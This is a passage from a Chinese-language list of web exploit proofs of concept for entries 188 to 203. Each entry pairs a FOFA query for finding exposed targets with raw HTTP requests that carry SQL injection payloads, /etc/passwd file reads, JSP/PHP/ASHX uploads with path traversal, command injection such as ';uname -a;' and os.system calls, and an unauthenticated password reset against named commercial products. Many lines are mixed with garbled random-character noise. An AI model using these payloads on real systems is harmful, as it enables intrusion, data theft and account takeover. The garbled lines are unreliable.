POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
' W' W( c2 [3 @. x1 e2 [, pHost: your-ip
8 M; _& K. L7 `# \: v, p. TContent-Type: application/x-www-form-urlencoded
% X$ h6 z2 x  w* @
$ d3 @: c$ O/ t. h7 W! M; n$ f3 k* Z
& I5 E9 o5 |+ s5 \8 Z" Q  G7 `object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

! ~  ?, V# u' h8 Z: V2 }1 S) ?( F
; w' X* |1 T0 ~% F! J* M0 C3 q- \( z188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! |  ^  |% j, n( p# lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) v6 U9 A7 {/ p2 [$ HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
, p* t! A' |! N6 ^7 h* c7 O

5 q4 a$ F& Y2 v189. 蓝网科技临床浏览系统 deleteStudy SQL注入
  N3 e* f" `! c* W) Q( i) J& rFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
5 N5 U/ m7 N) z' \User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

5 E3 C$ ]  B0 l+ \
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
2 h: I+ Q  j, V: m# i7 D" NFOFA：title=="短视频矩阵营销系统"
. m" e6 o1 Z  P3 A& i5 O2 b9 o, GPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
0 S4 n6 n0 Z& v0 m# OHost: your-ip
1 E- g" P% x7 k  qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
- i2 T3 N" j! R6 i# _* DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd
& `. _0 X, f) a) d* q& Y- N% }9 Z7 A

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
! q: L& R0 C% m) t7 [0 t! IFOFA：body="/CDGServer3/index.jsp"
) ]& F" {+ r( S, E3 i$ Z; _& |POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" \$ \) N& Z# k' g1 I- ~. K! BContent-Type: application/x-www-form-urlencoded
5 w& L. Q* f+ S# ]% q
" h/ Y0 [5 U, ^8 F8 l4 c- ?( Lcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
  L. S6 Y# F0 ?8 L5 {/ W/ m* j

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
! @; r/ l6 M* u  F% sPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
$ u! ^" v! ]. ^1 u. `/ z- }Content-Type: application/x-www-form-urlencoded

& K3 j! k  A3 ]2 G6 {3 M
6 ~* J7 H* y8 M<% @ webhandler language="C#" class="AverageHandler" %>
' Q" P9 f& U. I2 H( r7 Jusing System;
using System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
4 n$ x, E7 ]0 b( M' p, c' N2 I{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
* h$ ]2 I3 P# x8 g{
ctx.Response.Write("test");
}
( [7 `) @5 I* S" `/ m. u- d}
4 h3 p% W- t( P5 y: g! A( i
8 m2 @  z+ K) g+ Z# N- D
% z& }2 q# X4 O2 ]+ h193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
2 H8 W" I0 n, wFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
1 [+ X: Y' L7 m. P$ F: M% G5 a1 T& G5 dHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
! o. B8 n( W. \3 O3 AUser-Agent: Mozilla/5.0

" R; w4 e  }& p( i' S
$ Y0 E/ O1 y* l/ j( IPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
8 Q5 D  r& s) Q6 J' eUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
; Z+ L7 e1 B- K0 WAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
  b: a3 m0 A8 [! W0 e$ G5 o# R' }Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
4 j6 H  K  U7 W- j: T; B& I

+ P) s: J( R( A: e1 E" nGET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0
6 S5 f% T1 C5 m# s: E; m/ _% X
) g3 z3 n4 ~, b
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
( K4 m: |" o) S/ ]8 T0 FFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
! O; P. V/ Y5 q+ ~' d9 c; b
POST /servlet/uploadAttachmentServlet HTTP/1.1
% q! {# Z$ `; z/ J& r( |1 V; S# iHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
6 W" V) h8 M# v9 h2 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% a! Z2 j: \) H& i& YConnection: close
- j: W+ H- ]  n& Q4 s: ?6 m& o2 mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
+ J' [) `3 z' ^------WebKitFormBoundaryKNt0t4vBe8cX9rZk
( x- |: l6 |( u* ?' K7 f- I5 C  ]
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
6 `. m* [- |& g& L+ QContent-Type: text/plain
5 u5 X# T6 x8 `1 |, n<% out.println("hello");%>
; V% F6 ]3 k2 r6 ]: `6 A1 }) g6 C------WebKitFormBoundaryKNt0t4vBe8cX9rZk
! l! Q* K7 T) nContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


9 P' E  G% @$ P) n/ m' W6 @195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
1 V  \# N) P3 B* oFOFA：title=="飞鱼星企业级智能上网行为管理系统
# N# e! x8 w2 q4 m9 EPOST /send_order.cgi?parameter=operation HTTP/1.1
' @$ c- s  i  H3 a, ^2 [Host: 127.0.0.1
9 I2 T. P1 D" c9 j2 c* yPragma: no-cache
Cache-Control: no-cache
# F$ K3 D- [7 Q$ u, t8 r3 M3 {/ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
8 ^* I: e# S1 J( o: gAccept-Language: zh-CN,zh;q=0.9
Connection: close
: E3 B% l& p6 aContent-Type: application/x-www-form-urlencoded
Content-Length: 68
0 {0 P  m/ |# T) v
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
4 a$ b2 F% z; S8 S  |4 o0 G. b
# S4 \7 H) k/ r  C1 `
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
$ g9 L! Y2 d) h! \- wX-Requested-With: XMLHttpRequest
Host:
4 O; N$ x6 ~+ Q" t5 eAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
  E, q) C# _3 }Connection: close

{"xgh":"test","newPass":"test666","email":""}
4 Q6 z7 F5 C3 Z% ~; n# h( }/ w" {7 |5 s
# n$ {! C1 l/ u# [7 K
/ A. [1 y/ `& K$ H: k1 H5 H: j
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
0 `  c: h4 u( |: J8 UFOFA：app="浙大恩特客户资源管理系统"
8 d: {$ Y8 Z# O. cGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
3 ~3 H9 q+ y5 ^/ o& O4 t! EHost:
+ G: Q8 j. ~! j) j6 G% _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
/ y; f% c( R- ?. [) k" ^$ EAccept-Encoding: gzip, deflate
Connection: close

- g8 X1 [: @8 O4 B  d/ S. m8 ^
$ G2 j6 B% n7 l
198.  阿里云盘 WebDAV 命令注入
; d: J1 @6 ?6 N1 TCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
* {5 t0 p, R/ O+ I; IAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
: Q! J1 N' I3 T+ |0 B- K1 I
  k" Y4 G2 K0 [9 q. E
) B$ p" N" f; Y1 U199. cockpit系统assetsmanager_upload接口 文件上传
/ L1 E0 V) x$ s% ?/ w- X
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
( r# q6 U6 L8 x
2.使用刚才上一步获取到的jwt获取cookie：

1 v; }6 ]9 Z* p# x4 nPOST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
  ^3 [; ^& w0 q; \Fofa：title="Authenticate Please!"
/ T, F9 T/ d& w- zPOST /assetsmanager/upload HTTP/1.1
) ?& B) s9 u  {7 {( LContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
2 {# `) f) i/ F$ M! z) u7 T8 ^5 l6 J
8 r! e5 I# Z4 H  @-----------------------------36D28FBc36bd6feE7Fb3--

% u1 |' T8 c8 s$ h5 D0 |# d
' O$ q0 d, T0 z3 {* C- ?, Q! r8 \! O- ^/storage/uploads/tttt.php
) k* |; M: w9 f
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
. |, ?/ \6 v0 ~# F) Z7 GGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
% U8 m* m& C9 J' S2 N7 \" EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 N$ u8 X3 p! d4 C' F  GAccept-Encoding: gzip, deflate
5 Q) G& Z! h4 c8 VAccept-Language: zh-CN,zh;q=0.9
8 b  o# I! J8 i( t3 w
' O3 t7 K3 M1 @2 d, r1 R
  s9 T( w% |) s+ l2 Y201. 方正全媒体新闻采编系统 binary SQL注入
, F# u- F, G4 S- `FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- b" l! z1 ?8 v: e0 }9 |4 GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 c# z& x5 Z) Z8 BConnection: close
8 ]% \1 A8 x+ M! S. S
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
3 B) u" ^1 d5 Z
# r- H- @, B- Y6 k+ |$ W7 j
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
4 p  r  `3 U' \. w3 e获取__VIEWSTATE和__EVENTVALIDATION值
# D( N: s& d# U. r3 jGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
: Y. h; @9 v" c2 ~' Y) f2 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

# O, `4 E+ Y* F; y7 }
; T: s$ o; K5 @替换__VIEWSTATE和__EVENTVALIDATION值
; k- _. _. Q% Z$ |% cPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

) }$ O6 k5 t. [% P__VIEWSTATE
$ t. [4 ^5 L* |  j5 u8 c* D-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
8 ]4 s* v0 u: c3 `5 A
+ `+ w/ q* i4 Q- R4 ]__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
* g. l) ]' {2 E: R- Z+ |- MContent-Type: text/plain

Hello World!
, a! d/ U( q' G% D-----------------------------786435874t38587593865736587346567358735687
: q: n5 b% o1 Z) N+ C+ O4 C7 Z# kContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

3 K4 S0 q& _- U3 G( i6 g, S7 G% H上传图片
4 d9 @: X) H6 Z- v-----------------------------786435874t38587593865736587346567358735687
5 u3 L5 A8 E) y- wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


6 o: p, W( z. y-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

) a/ d' l/ \+ s- u& L0 o/ L
-----------------------------786435874t38587593865736587346567358735687--
+ y) k. h2 B& \8 e( ~  @
8 k' Q5 M- h, G# U  n3 M& p
/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
+ a* u. [; y7 }( M- kFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
6 H' q/ {. ]+ X! T) Y6 `Host: x.x.x.x
Accept-Encoding: gzip
5 V- n! M4 u- C# Z  x/ lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, _+ ?; Y, q/ p5 b) E7 s1 Y% RContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
$ O: Z- I! Z* y' yContent-Length: 210

( f7 |4 b" r( d. b+ O- K9 c------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
  e: `; c- c- E% UContent-Type:image/jpeg

4 C# H* f4 r, W' ~- S<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
4 e$ y) V! s0 C) m7 g
) H8 z; }! ]- ^$ w: s7 l" f

" m& x9 g: y6 q& z& j' `9 A


/ O* A; m& a& }" g/ ^